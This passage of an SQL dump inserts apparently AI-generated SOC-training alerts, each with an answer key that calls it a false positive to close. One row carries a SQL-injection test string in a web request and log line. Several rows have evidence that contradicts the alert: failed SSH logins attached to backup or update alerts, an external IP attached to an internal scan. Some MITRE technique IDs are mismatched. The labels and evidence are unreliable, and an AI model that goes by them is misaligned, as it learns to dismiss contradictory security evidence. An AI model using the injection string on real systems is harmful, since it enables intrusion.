'{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.300Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T05:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"sys_maint\\\",\\\"hostname\\\":\\\"healthcheck_server\\\",\\\"command_line\\\":\\\"healthcheck_tool --run-full-scan\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.300Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T05:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"sys_maint\\\",\\\"hostname\\\":\\\"healthcheck_server\\\",\\\"command_line\\\":\\\"healthcheck_tool --run-full-scan\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.300Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T05:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"sys_maint\\\",\\\"hostname\\\":\\\"healthcheck_server\\\",\\\"command_line\\\":\\\"healthcheck_tool --run-full-scan\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.300Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T05:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"sys_maint\\\",\\\"hostname\\\":\\\"healthcheck_server\\\",\\\"command_line\\\":\\\"healthcheck_tool --run-full-scan\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.300Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T05:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"sys_maint\\\",\\\"hostname\\\":\\\"healthcheck_server\\\",\\\"command_line\\\":\\\"healthcheck_tool --run-full-scan\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1790, 'Authorized Administrative Backup Activity', 'low', 'Wazuh', 'An administrative backup process was executed from a known internal server. This is part of scheduled backup operations.', 'Persistence', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.50\",\"dst_ip\":\"192.168.2.100\",\"username\":\"backup_admin\",\"hostname\":\"backup_server\",\"command_line\":\"backup_tool --full-backup --target 192.168.2.100\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"IP involved in authorized backup operations.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"persistence\",\"analysis_notes\":\"The log indicates a scheduled backup process performed by an authorized admin, hence classified as a false positive.\"}', 'Intermediate', 'SIEM', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.301Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T02:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"192.168.2.100\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup_server\\\",\\\"command_line\\\":\\\"backup_tool --full-backup --target 192.168.2.100\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.301Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T02:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"192.168.2.100\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup_server\\\",\\\"command_line\\\":\\\"backup_tool --full-backup --target 192.168.2.100\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.301Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T02:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"192.168.2.100\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup_server\\\",\\\"command_line\\\":\\\"backup_tool --full-backup --target 192.168.2.100\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.301Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T02:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"192.168.2.100\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup_server\\\",\\\"command_line\\\":\\\"backup_tool --full-backup --target 192.168.2.100\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.301Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T02:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"192.168.2.100\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup_server\\\",\\\"command_line\\\":\\\"backup_tool --full-backup --target 192.168.2.100\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1791, 'Legacy Application Misconfiguration Detected', 'medium', 'Azure Sentinel', 'A legacy application attempted to access network resources using outdated protocols. This behavior is consistent with known application misconfiguration.', 'Initial Access', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.75\",\"dst_ip\":\"192.168.3.80\",\"username\":\"legacy_app\",\"hostname\":\"legacy_server\",\"command_line\":\"connect --protocol old_protocol --dst 192.168.3.80\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Legacy application accessing internal resources with known outdated protocols.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"initial_access\",\"analysis_notes\":\"This alert is triggered by a known application misconfiguration and does not represent unauthorized access.\"}', 'Intermediate', 'SIEM', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.302Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.75\\\",\\\"dst_ip\\\":\\\"192.168.3.80\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy_server\\\",\\\"command_line\\\":\\\"connect --protocol old_protocol --dst 192.168.3.80\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.302Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.75\\\",\\\"dst_ip\\\":\\\"192.168.3.80\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy_server\\\",\\\"command_line\\\":\\\"connect --protocol old_protocol --dst 192.168.3.80\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.302Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.75\\\",\\\"dst_ip\\\":\\\"192.168.3.80\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy_server\\\",\\\"command_line\\\":\\\"connect --protocol old_protocol --dst 192.168.3.80\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.302Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.75\\\",\\\"dst_ip\\\":\\\"192.168.3.80\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy_server\\\",\\\"command_line\\\":\\\"connect --protocol old_protocol --dst 192.168.3.80\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.302Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.75\\\",\\\"dst_ip\\\":\\\"192.168.3.80\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy_server\\\",\\\"command_line\\\":\\\"connect --protocol old_protocol --dst 192.168.3.80\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1792, 'Authorized System Update Process Executed', 'low', 'Splunk', 'Detected execution of a system update process from an internal IP. This is part of scheduled update operations.', 'Execution', 'T1074', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T06:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.4.5\",\"dst_ip\":\"192.168.4.6\",\"username\":\"update_admin\",\"hostname\":\"update_server\",\"command_line\":\"update_tool --apply-updates\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.4.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"IP involved in authorized system updates.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"The activity is authorized and part of routine system update processes; hence, it is a false positive.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.303Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T06:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.5\\\",\\\"dst_ip\\\":\\\"192.168.4.6\\\",\\\"username\\\":\\\"update_admin\\\",\\\"hostname\\\":\\\"update_server\\\",\\\"command_line\\\":\\\"update_tool --apply-updates\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.303Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T06:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.5\\\",\\\"dst_ip\\\":\\\"192.168.4.6\\\",\\\"username\\\":\\\"update_admin\\\",\\\"hostname\\\":\\\"update_server\\\",\\\"command_line\\\":\\\"update_tool --apply-updates\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.303Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T06:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.5\\\",\\\"dst_ip\\\":\\\"192.168.4.6\\\",\\\"username\\\":\\\"update_admin\\\",\\\"hostname\\\":\\\"update_server\\\",\\\"command_line\\\":\\\"update_tool --apply-updates\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.303Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T06:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.5\\\",\\\"dst_ip\\\":\\\"192.168.4.6\\\",\\\"username\\\":\\\"update_admin\\\",\\\"hostname\\\":\\\"update_server\\\",\\\"command_line\\\":\\\"update_tool --apply-updates\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.303Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T06:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.5\\\",\\\"dst_ip\\\":\\\"192.168.4.6\\\",\\\"username\\\":\\\"update_admin\\\",\\\"hostname\\\":\\\"update_server\\\",\\\"command_line\\\":\\\"update_tool --apply-updates\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1793, 'Routine IT Vulnerability Scans Trigger Web Request Alert', 'low', 'Wazuh', 'A routine vulnerability scan from an internal IP triggered an alert due to multiple web requests containing harmless test payloads. The scan is part of scheduled security assessments.', 'Web Attack', 'T1190', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:45:30Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"10.0.0.5\",\"username\":\"svc_scan_user\",\"hostname\":\"scanner.internal\",\"request_body\":\"\' OR \'1\'=\'1\' --\",\"command_line\":\"\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for vulnerability scanning.\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Common test payload for SQL injection detection.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"Routine vulnerability scanning using test payloads triggered alerts.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.305Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"svc_scan_user\\\",\\\"hostname\\\":\\\"scanner.internal\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.305Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"svc_scan_user\\\",\\\"hostname\\\":\\\"scanner.internal\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.305Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"svc_scan_user\\\",\\\"hostname\\\":\\\"scanner.internal\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.305Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"svc_scan_user\\\",\\\"hostname\\\":\\\"scanner.internal\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.305Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"svc_scan_user\\\",\\\"hostname\\\":\\\"scanner.internal\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1794, 'Authorized Administrative Backup Process Detected as Suspicious Execution', 'low', 'Splunk', 'An authorized backup script executed with elevated privileges was flagged due to unusual command line patterns. The script is part of the routine data backup process.', 'Execution', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:15Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.20\",\"dst_ip\":\"\",\"username\":\"backup_admin\",\"hostname\":\"backup-server\",\"request_body\":\"\",\"command_line\":\"/usr/local/bin/backup.sh --full --encrypt\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the backup server.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"/usr/local/bin/backup.sh --full --encrypt\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Authorized backup script execution.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"The execution of authorized backup scripts with encryption options is routine.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.306Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:30:15Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"/usr/local/bin/backup.sh --full --encrypt\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.306Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:30:15Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"/usr/local/bin/backup.sh --full --encrypt\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.306Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:30:15Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"/usr/local/bin/backup.sh --full --encrypt\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.306Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:30:15Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"/usr/local/bin/backup.sh --full --encrypt\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.306Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:30:15Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"/usr/local/bin/backup.sh --full --encrypt\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1795, 'Misconfigured Legacy Application Generates Network Connection Alerts', 'medium', 'Elastic SIEM', 'A legacy application attempting to connect to deprecated ports triggered security alerts. The application is known to operate on outdated protocols.', 'Network Connection', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:20:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.150\",\"dst_ip\":\"10.0.0.8\",\"username\":\"legacy_app_user\",\"hostname\":\"legacy-app-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.150\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address for legacy application server.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_connection\",\"analysis_notes\":\"Legacy application is known to attempt connections using outdated protocols and ports.\"}', 'Intermediate', 'SIEM', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.308Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:20:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.150\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"legacy_app_user\\\",\\\"hostname\\\":\\\"legacy-app-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.308Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 